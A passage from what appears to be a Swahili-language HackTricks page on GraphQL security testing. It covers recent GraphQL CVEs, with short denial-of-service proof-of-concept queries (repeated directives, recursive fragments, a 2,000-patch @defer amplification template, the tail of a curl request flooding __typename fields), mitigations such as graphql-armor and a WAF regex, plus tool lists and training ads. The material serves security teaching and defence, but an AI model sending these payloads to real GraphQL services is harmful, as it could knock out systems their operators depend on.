\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

Udhaifu za Karibuni (2023-2025)

Ekosistimu ya GraphQL inabadilika kwa kasi; katika miaka miwili iliyopita masuala kadhaa muhimu yalifichuliwa katika maktaba za server zinazotumika zaidi. Unapopata GraphQL endpoint ni vyema fingerprinting the engine (see graphw00f) na kukagua toleo linaloendesha dhidi ya udhaifu ulioorodheshwa hapa chini.

CVE-2024-47614 – async-graphql directive-overload DoS (Rust)

  • Affected: async-graphql < 7.0.10 (Rust)
  • Root cause: hakuna kikomo kwa duplicated directives (mfano maelfu ya @include) ambazo zinaongezeka na kugeuzwa kuwa idadi ya kihesabu (exponential) ya nodi za utekelezaji.
  • Impact: ombi moja la HTTP linaweza kutumia CPU/RAM mpaka kuisha na kusababisha huduma kusimama.
  • Fix/mitigation: sasisha β‰₯ 7.0.10 au itume SchemaBuilder.limit_directives(); mbadala, chujua maombi kwa kanuni ya WAF kama "@include.*@include.*@include".
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}

CVE-2024-40094 – graphql-java ENF depth/complexity bypass

  • Waliathirika: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
  • Sababu ya mzizi: ExecutableNormalizedFields haikuzingatiwa na instrumentation ya MaxQueryDepth / MaxQueryComplexity. Kwa hiyo, recursive fragments zilipita mipaka yote.
  • Athari: DoS bila uthibitisho dhidi ya stack za Java ambazo zinajumuisha graphql-java (Spring Boot, Netflix DGS, Atlassian products…).
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }

CVE-2023-23684 – WPGraphQL SSRF to RCE chain

  • Affected: WPGraphQL ≀ 1.14.5 (WordPress plugin).
  • Root cause: the createMediaItem mutation accepted attacker-controlled filePath URLs, allowing internal network access and file writes.
  • Impact: authenticated Editors/Authors could reach metadata endpoints or write PHP files for remote code execution.

Matumizi mabaya ya incremental delivery: @defer / @stream

Tangu 2023 seva nyingi kuu (Apollo 4, GraphQL-Java 20+, HotChocolate 13) zilitumia directives za incremental delivery zilizobainishwa na GraphQL-over-HTTP WG. Kila deferred patch hutumwa kama separate chunk, hivyo ukubwa wa jibu jumla unakuwa N + 1 (envelope + patches). Swali ambalo lina maelfu ya fields ndogo zilizo deferred hivyo hutengeneza jibu kubwa wakati mshambuliaji anagharimu ombi moja tu – klasikoi ya amplification DoS na njia ya kupita sheria za WAF za ukubwa wa body ambazo huangalia chunk ya kwanza tu. Wanachama wa WG wenyewe walibainisha hatari hiyo.

Mfano wa payload inayozalisha 2 000 patches:

query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}

Kupunguza hatari: zima @defer/@stream katika mazingira ya uzalishaji au weka vizingiti kwa max_patches, max_bytes ya jumla na muda wa utekelezaji. Maktaba kama graphql-armor (angalia hapa chini) tayari zinaweka default za busara.


Middleware za ulinzi (2024+)

MradiMaelezo
graphql-armormiddleware ya uthibitishaji ya Node/TypeScript iliyotolewa na Escape Tech. Inatekeleza vizingiti vya plug-and-play kwa kina cha query, idadi ya alias/field/directive, tokens na cost; inafaa na Apollo Server, GraphQL Yoga/Envelop, Helix, n.k.

Anza haraka:

import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';

const protectedSchema = applyMiddleware(schema, ...protect());

graphql-armor sasa itazuia maombi yenye kina kupita kiasi, yenye ugumu au zenye directives nyingi, ikilinda dhidi ya CVEs zilizo hapo juu.


Vifaa

Skana za udhaifu

Scripts za ku-exploit udhaifu wa kawaida

Clients

Mitihani ya Otomatiki

https://graphql-dashboard.herokuapp.com/

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks